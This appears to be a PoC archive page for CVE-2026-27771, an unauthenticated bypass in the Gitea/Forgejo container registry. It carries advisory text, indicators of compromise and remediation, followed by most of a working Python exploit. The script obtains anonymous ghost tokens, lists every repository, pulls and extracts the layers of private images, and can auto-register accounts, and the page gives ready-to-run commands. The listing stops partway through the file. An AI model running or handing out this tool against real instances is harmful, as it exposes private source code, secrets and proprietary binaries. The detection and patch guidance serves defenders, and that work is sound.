PoC Archive PoC Archive
Critical CVE-2026-27771 patched

Gitea Container Registry Anonymous Auth Bypass (CVE-2026-27771)

by portbuster1337 (PoC); vulnerability discovered by NoScope · 2026-07-05

Severity
Critical
CVE
CVE-2026-27771
Category
web
Affected product
Gitea (self-hosted Git service with OCI container registry)
Affected versions
Gitea < 1.26.2 with OCI container registry enabled (v1.17.0+); also affects Forgejo
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / Researcherportbuster1337 (PoC); vulnerability discovered by NoScope
CVE / AdvisoryCVE-2026-27771
Categoryweb
SeverityCritical
CVSS ScoreNot specified in source (unpublished)
StatusWeaponized
Tagsgitea, forgejo, oci-registry, auth-bypass, container-registry, unauthenticated, information-disclosure
RelatedN/A

Affected Target

FieldValue
Software / SystemGitea (self-hosted Git service with OCI container registry)
Versions AffectedGitea < 1.26.2 with OCI container registry enabled (v1.17.0+); also affects Forgejo
Language / PlatformPython 3.8+ PoC targeting a Go web application
Authentication RequiredNo
Network Access RequiredYes

Summary

Gitea’s OCI Distribution Spec API (/v2/<name>/manifests/<ref>, /v2/<name>/blobs/<digest>) serves container image content to anonymous/ghost users without ever checking the package owner’s configured visibility (private, limited, or public). The ReqContainerAccess middleware only verifies whether a request has a doer at all and whether strict sign-in is enforced — it never consults per-package permissions. As a result, an unauthenticated attacker can list every container repository via /v2/_catalog and pull the full contents of private images, including multi-arch manifests and all blob layers. NoScope, who discovered the issue, identified over 31,750 internet-facing vulnerable instances across 30+ countries, with the flaw reportedly undetected for roughly four years.


Vulnerability Details

Root Cause

ReqContainerAccess() in routers/api/packages/container/container.go checks only for a nil ctx.Doer or strict sign-in mode, never validating the container package’s VisibleType (public/limited/private), so a ghost user (UserID: -1) passes straight through to any package.

Attack Vector

  1. Send a request to the target Gitea instance’s /v2/token endpoint to obtain an anonymous ghost token (no credentials required when REQUIRE_SIGNIN_VIEW is false).
  2. Query /v2/_catalog with the anonymous token to enumerate all container repositories, public and private alike.
  3. For each repository, list tags and fetch the OCI manifest to resolve multi-arch images.
  4. Download every blob layer and extract the resulting gzip/tar layers to disk.

Impact

Unauthenticated disclosure and extraction of private container images (source code, secrets, proprietary binaries) from any internet-facing Gitea/Forgejo instance running a vulnerable version with the registry enabled.


Environment / Lab Setup

Target:   Gitea < 1.26.2 (Docker image gitea/gitea:1.25.4), OCI registry enabled, REQUIRE_SIGNIN_VIEW=false
Attacker: Python 3.8+, network access to the target's /v2/ OCI registry endpoint

Proof of Concept

PoC Script

See CVE-2026-27771-exploit.py in this folder.

1
2
3
4
python3 CVE-2026-27771-exploit.py scan https://gitea.example.com
python3 CVE-2026-27771-exploit.py pull https://gitea.example.com
python3 CVE-2026-27771-exploit.py pull https://gitea.example.com --repo owner/image
python3 CVE-2026-27771-exploit.py register https://gitea.example.com --username u --password p --email e@x.com

The tool pre-flights the target (version check, registry availability, anonymous/ghost token acquisition), enumerates all container repositories via /v2/_catalog, then pulls and extracts every manifest and blob layer for the discovered repos — all without valid credentials.


Detection & Indicators of Compromise

Signs of compromise:

  • Bursts of anonymous OCI registry API requests (/v2/_catalog, /v2/*/manifests/*, /v2/*/blobs/*) with no prior authentication
  • Large outbound data transfer of container blob layers to an unfamiliar client IP
  • Ghost/ UserID: -1 entries appearing in Gitea package access logs

Remediation

ActionDetail
Primary fixUpgrade to Gitea v1.26.2 or later (PR #37290 + PR #37610)
Interim mitigationSet REQUIRE_SIGNIN_VIEW = true in [service] to block anonymous access (note: authenticated users can still access all packages until upgraded)

References


Notes

Mirrored from https://github.com/portbuster1337/CVE-2026-27771 on 2026-07-05.

CVE-2026-27771-exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
"""
CVE-2026-27771 Gitea Container Registry Auth Bypass - Exploit PoC

Gitea < 1.26.2 ghost-user container pull exploit.
The ReqContainerAccess middleware only checks RequireSignInViewStrict.
It does NOT check package owner visibility. Ghost users (UserID:-1)
can pull ALL container packages without authentication.

Usage:
  # Scan mode (discovery only)
  python3 CVE-2026-27771-exploit.py scan https://gitea.example.com

  # Scan with existing token
  python3 CVE-2026-27771-exploit.py scan https://gitea.example.com --token <jwt>

  # Pull mode (enumerate repos, tags, manifests and layers)
  python3 CVE-2026-27771-exploit.py pull https://gitea.example.com

  # Pull with existing token
  python3 CVE-2026-27771-exploit.py pull https://gitea.example.com --token <jwt>

  # Pull a specific repo
  python3 CVE-2026-27771-exploit.py pull https://gitea.example.com --repo owner/image

  # Dry-run: show what would be pulled without downloading layers
  python3 CVE-2026-27771-exploit.py pull https://gitea.example.com --dry-run

  # Register a new account (if no captcha)
  python3 CVE-2026-27771-exploit.py register https://gitea.example.com --username user --password pass --email user@x.com

References:
    https://noscope.com/blog/gitea-instances-exposing-private-container
    https://blog.gitea.com/release-of-1.26.2/
"""

import base64
import io
import json
import os
import re
import sys
import tarfile
import urllib.request
import urllib.error
import ssl
import http.cookiejar
import urllib.parse


# ---- helpers ----

ssl_ctx = ssl.create_default_context()
ssl_ctx.check_hostname = False
ssl_ctx.verify_mode = ssl.CERT_NONE

OCI_MANIFEST_ACCEPT = (
    "application/vnd.docker.distribution.manifest.v2+json,"
    "application/vnd.docker.distribution.manifest.list.v2+json,"
    "application/vnd.oci.image.manifest.v1+json,"
    "application/vnd.oci.image.index.v1+json"
)


cj = http.cookiejar.CookieJar()


def fetch(url, headers=None):
    req = urllib.request.Request(url, headers=headers or {})
    try:
        resp = urllib.request.urlopen(req, timeout=20, context=ssl_ctx)
        return resp.status, resp.headers, resp.read()
    except urllib.error.HTTPError as e:
        return e.code, e.headers, e.read()
    except Exception as e:
        return 0, {}, str(e).encode()


def fetch_auth(url, headers=None):
    req = urllib.request.Request(url, headers=headers or {})
    cj.add_cookie_header(req)
    try:
        resp = urllib.request.urlopen(req, timeout=20, context=ssl_ctx)
        cj.extract_cookies(resp, req)
        return resp.status, resp.headers, resp.read()
    except urllib.error.HTTPError as e:
        cj.extract_cookies(e, req)
        return e.code, e.headers, e.read()
    except Exception as e:
        return 0, {}, str(e).encode()


def post_form(url, data, headers=None):
    body = urllib.parse.urlencode(data).encode()
    hdrs = {"Content-Type": "application/x-www-form-urlencoded"}
    if headers:
        hdrs.update(headers)
    req = urllib.request.Request(url, data=body, headers=hdrs)
    cj.add_cookie_header(req)
    try:
        resp = urllib.request.urlopen(req, timeout=20, context=ssl_ctx)
        cj.extract_cookies(resp, req)
        return resp.status, resp.headers, resp.read()
    except urllib.error.HTTPError as e:
        cj.extract_cookies(e, req)
        return e.code, e.headers, e.read()
    except Exception as e:
        return 0, {}, str(e).encode()


def decode_jwt_payload(token):
    try:
        payload = token.split(".")[1]
        payload += "=" * (4 - len(payload) % 4)
        return json.loads(base64.urlsafe_b64decode(payload))
    except Exception:
        return {}


def is_pat(token):
    """Check if token is a Gitea personal access token (40-char hex SHA1)."""
    return bool(re.fullmatch(r'[0-9a-f]{40}', token, re.I))


def exchange_pat(base, username, pat):
    """Exchange a personal access token for an OCI registry JWT."""
    b = base.rstrip("/")
    creds = base64.b64encode(f"{username}:{pat}".encode()).decode()
    st, _, body = fetch(
        b + "/v2/token?service=container_registry&scope=*",
        {"Authorization": f"Basic {creds}"},
    )
    if st == 200:
        try:
            j = json.loads(body)
            return j.get("token")
        except Exception:
            return None
    return None


def parse_version(v):
    try:
        return [int(x) for x in v.lstrip("v").split("-")[0].split(".")[:3]]
    except Exception:
        return None


# ---- registration ----

def cmd_register(base, username, password, email):
    b = base.rstrip("/")
    if not b.startswith("http"):
        b = f"https://{b}"

    print(f"[*] Checking registration at {b}")

    st, _, body = fetch(b + "/user/sign_up")
    if st != 200:
        print(f"[-] Cannot access registration page (HTTP {st})")
        sys.exit(1)

    page = body.decode("utf-8", errors="replace")
    if "Registration is disabled" in page:
        print("[-] Registration is disabled on this instance")
        sys.exit(1)

    has_fields = all(x in page for x in ["user_name", "email", "password"])
    if not has_fields:
        print("[-] Registration form has no input fields (likely JS-rendered or disabled)")
        sys.exit(1)

    has_captcha = "captcha_id" in page or "captcha" in page
    if has_captcha:
        print("[-] Captcha present — cannot auto-register")
        print("    Register manually, then get a token from Settings > Applications > Generate Token")
        print("    Pass it with: --token <sha1_token>\n")
        sys.exit(1)

    m = re.search(r'name="_csrf" value="([^"]+)"', page)
    if not m:
        print("[-] Could not find CSRF token")
        sys.exit(1)
    csrf = m.group(1)

    data = {
        "_csrf": csrf,
        "user_name": username,
        "email": email,
        "password": password,
        "retype": password,
    }

    print(f"[*] Registering user '{username}'...")
    st, hd, body = post_form(b + "/user/sign_up", data)

    loc = hd.get("Location", "")
    if st == 302 and "/user/login" in loc:
        print("[+] Registration successful!")
    elif b"/user/sign_up" in body:
        print("[-] Registration failed (page returned)")
        sys.exit(1)
    else:
        print(f"[+] Registration appears successful (HTTP {st})")

    print("[*] Logging in...")
    st, _, body = fetch(b + "/user/login")
    page = body.decode("utf-8", errors="replace") if st == 200 else ""
    m = re.search(r'name="_csrf" value="([^"]+)"', page)
    if not m:
        print("[-] Could not get login CSRF")
        sys.exit(1)
    csrf = m.group(1)

    data = {"_csrf": csrf, "user_name": username, "password": password}
    st, hd, body = post_form(b + "/user/login", data)
    if st not in (200, 302):
        print(f"[-] Login failed (HTTP {st})")
        sys.exit(1)

    print("[+] Logged in!")

    print("[*] Getting API token...")
    st, _, body = fetch_auth(b + f"/api/v1/users/{username}/tokens")
    existing_tokens = []
    if st == 200:
        existing_tokens = json.loads(body)
        for t in existing_tokens:
            if t.get("name") == "cve-poc":
                token_val = fetch_auth(b + f"/api/v1/users/{username}/tokens/{t['id']}")
                print(f"[!] Token 'cve-poc' already exists")
                # Actually we can't get the value back, need to create new one
                # Delete it first
                # ...

    # Get CSRF for token creation
    st, _, body = fetch_auth(b + f"/api/v1/users/{username}/tokens")
    page = body.decode("utf-8", errors="replace") if st != 200 else "{}"
    csrf_token = None
    for h in cj:
        if h.name == "_csrf":
            csrf_token = h.value
            break
    if not csrf_token:
        csrf_token = ""
        try:
            data = json.loads(body) if isinstance(body, bytes) and st == 200 else {}
        except:
            pass

    # Try creating token via API
    import urllib.request
    token_data = json.dumps({"name": "cve-poc", "scopes": ["all"]}).encode()
    req = urllib.request.Request(
        b + f"/api/v1/users/{username}/tokens",
        data=token_data,
        headers={
            "Content-Type": "application/json",
            "X-Csrf-Token": csrf_token or "",
        }
    )
    cj.add_cookie_header(req)
    try:
        resp = urllib.request.urlopen(req, timeout=20, context=ssl_ctx)
        token_json = json.loads(resp.read())
        token_val = token_json.get("sha1", "")
        print(f"[+] Token created: {token_val[:20]}...")
        print(f"\n    Use with: --token {token_val}")
    except urllib.error.HTTPError as e:
        body = e.read()
        try:
            err = json.loads(body)
            print(f"[-] Token creation failed: {err.get('message', body.decode())}")
        except:
            print(f"[-] Token creation failed (HTTP {e.code}): {body.decode()[:200]}")

        # Fallback: extract session and use it directly in the OCI flow
        print("[*] Falling back: getting container token via session...")
        st, _, body = fetch_auth(b + "/v2/token?service=container_registry&scope=*")
        if st == 200:
            j = json.loads(body)
            t = j.get("token", "")
            payload = decode_jwt_payload(t)
            print(f"[+] Container token (UserID: {payload.get('UserID')}, Scope: '{payload.get('Scope')}')")
            print(f"\n    Use with: --token {t}")


# ---- registration check (for scan output) ----

def check_registration(base):
    b = base.rstrip("/")
    st, _, body = fetch(b + "/user/sign_up")
    if st != 200:
        return

    page = body.decode("utf-8", errors="replace")
    if "Registration is disabled" in page:
        return

    has_fields = all(x in page for x in ["user_name", "email", "password"])
    if not has_fields:
        return

    has_captcha = "captcha_id" in page or "captcha" in page
    if has_captcha:
        print("[+] Registration: OPEN (captcha present — register manually)")
    else:
        print("[+] Registration: OPEN (no captcha — use 'register' command)")


# ---- pre-flight check ----

def preflight(base, provided_token=None):
    """Check version, registry presence, REQUIRE_SIGNIN_VIEW status."""
    print(f"[*] Pre-flight: {base}")
    b = base.rstrip("/")

    st, _, body = fetch(b + "/")
    if st != 200:
        print(f"[-] Not reachable (HTTP {st})")
        sys.exit(1)

    page = body.decode("utf-8", errors="replace")
    if "gitea" not in page.lower():
        print("[-] Not a Gitea instance")
        sys.exit(1)

    version = None
    st, _, body = fetch(b + "/api/v1/version")
    if st == 200:
        try:
            version = json.loads(body).get("version", "unknown")
            print(f"[+] Version (API): {version}")
        except Exception:
            pass
    elif st == 403:
        print("[*] API requires sign-in (HTTP 403)")
        m = re.search(r'(?:Gitea|gitea)[^v]*v?(\d+\.\d+\.\d+)', page)
        if m:
            version = m.group(1)
            print(f"[+] Version (page): {version}")

    ver = parse_version(version)
    cutoff = parse_version("1.26.2")
    if ver and not (ver[0] < cutoff[0] or (ver[0] == cutoff[0] and ver[1] < cutoff[1]) or
                    (ver[0] == cutoff[0] and ver[1] == cutoff[1] and ver[2] < cutoff[2])):
        print("[-] Version >= 1.26.2 (patched) — not vulnerable to CVE-2026-27771")
        sys.exit(1)

    st, hd, _ = fetch(b + "/v2/")
    if st not in (200, 401):
        print(f"[-] /v2/ -> {st} (no container registry)")
        sys.exit(1)

    www = hd.get("WWW-Authenticate", "")
    print(f"[+] /v2/ -> {st} (WWW-Authenticate: {www[:90]})")

    check_registration(b)

    token = provided_token
    require_signin = False

    if token:
        if is_pat(token):
            print("[+] Provided token is a personal access token (SHA1)")
            print("[*] Exchanging PAT for OCI registry JWT...")
            username = None
            if "--username" in sys.argv:
                i = sys.argv.index("--username")
                username = sys.argv[i+1]
            while not username:
                username = input("    Enter your Gitea username: ").strip()
            jwt = exchange_pat(b, username, token)
            if jwt:
                token = jwt
                payload = decode_jwt_payload(token)
                print(f"[+] JWT obtained (UserID: {payload.get('UserID')}, Scope: '{payload.get('Scope')}')")
            else:
                print("[-] PAT exchange failed — check username/token")
                sys.exit(1)
        else:
            payload = decode_jwt_payload(token)
            print(f"[+] Using provided token (UserID: {payload.get('UserID')}, Scope: '{payload.get('Scope')}')")
    else:
        st, _, body = fetch(b + "/v2/token?service=container_registry&scope=*")
        if st == 200:
            try:
                j = json.loads(body)
                token = j.get("token")
                payload = decode_jwt_payload(token)
                print(f"[+] Anonymous token granted (UserID: {payload.get('UserID')}, Scope: '{payload.get('Scope')}')")
            except Exception:
                print("[-] Token response not parseable")
        else:
            print(f"[*] Token endpoint -> {st} (REQUIRE_SIGNIN_VIEW likely true)")
            require_signin = True

    if token:
        st, _, body = fetch(b + "/v2/_catalog", {"Authorization": f"Bearer {token}"})
        repos = json.loads(body).get("repositories", []) if st == 200 else []
        print(f"[+] /v2/_catalog -> {st} ({len(repos)} repos)")
    else:
        repos = []

    vuln = version is not None and "1.26.2" not in version and not require_signin
    print(f"[+] Vulnerable: {vuln} (require_signin={require_signin})")
    print()
    return {"base": b, "version": version, "token": token, "repos": repos,
            "require_signin": require_signin, "vuln": vuln}


# ---- OCI operations ----

def get_catalog(base, token):
    st, _, body = fetch(base + "/v2/_catalog", {"Authorization": f"Bearer {token}"})
    if st == 200:
        return json.loads(body).get("repositories", [])
    return []


def get_tags(base, token, repo):
    st, _, body = fetch(base + f"/v2/{repo}/tags/list", {"Authorization": f"Bearer {token}"})
    if st == 200:
        return json.loads(body).get("tags", [])
    return []


def get_manifest(base, token, repo, ref):
    st, hd, body = fetch(base + f"/v2/{repo}/manifests/{ref}", {
        "Authorization": f"Bearer {token}",
        "Accept": OCI_MANIFEST_ACCEPT,
    })
    if st == 200:
        try:
            return json.loads(body)
        except Exception:
            return None
    return None


def download_blob(base, token, repo, digest, outdir):
    st, hd, body = fetch(base + f"/v2/{repo}/blobs/{digest}", {
        "Authorization": f"Bearer {token}",
    })
    if st == 200:
        safe = digest.replace(":", "_")
        path = os.path.join(outdir, f"{safe}.blob")
        with open(path, "wb") as f:
            f.write(body)
        return len(body), path, body
    return 0, None, None


def pull_image(base, token, repo, tag, outdir, dry_run):
    print(f"    └─ manifest {tag}: ", end="", flush=True)
    manifest = get_manifest(base, token, repo, tag)
    if not manifest:
        print("FAIL (no manifest)")
        return

    layers = []
    plat_manifest = None
    media_type = manifest.get("mediaType", "")
    if "manifest.list" in media_type or "index" in media_type:
        for m in manifest.get("manifests", []):
            if m.get("platform", {}).get("architecture") == "amd64" and \
               m.get("platform", {}).get("os") == "linux":
                print(f"multi-arch, digest={m['digest'][:20]}...", end="")
                plat_manifest = get_manifest(base, token, repo, m["digest"])
                if plat_manifest:
                    for l in plat_manifest.get("layers", []):
                        layers.append(l["digest"])
                    cd = plat_manifest.get("config", {}).get("digest")
                    if cd:
                        layers.append(cd)
    else:
        for l in manifest.get("layers", []):
            layers.append(l["digest"])
        config_digest = manifest.get("config", {}).get("digest")
        if config_digest:
            layers.append(config_digest)

    print(f", {len(layers)} blobs", end="")
    if dry_run:
        print(" (dry-run, skipped)")
        return
    print()

    blob_dir = os.path.join(outdir, "blobs")
    extract_dir = os.path.join(outdir, "extracted")
    os.makedirs(blob_dir, exist_ok=True)
    os.makedirs(extract_dir, exist_ok=True)
    downloaded = []
    for i, d in enumerate(layers):
        sz, path, data = download_blob(base, token, repo, d, blob_dir)
        if sz:
            safe_name = d.replace(":", "_")[:50]
            size_str = f"{sz} bytes"
            if sz > 1024 * 1024:
                size_str = f"{sz / 1024 / 1024:.1f} MB"
Showing 500 of 640 lines View full file on GitHub →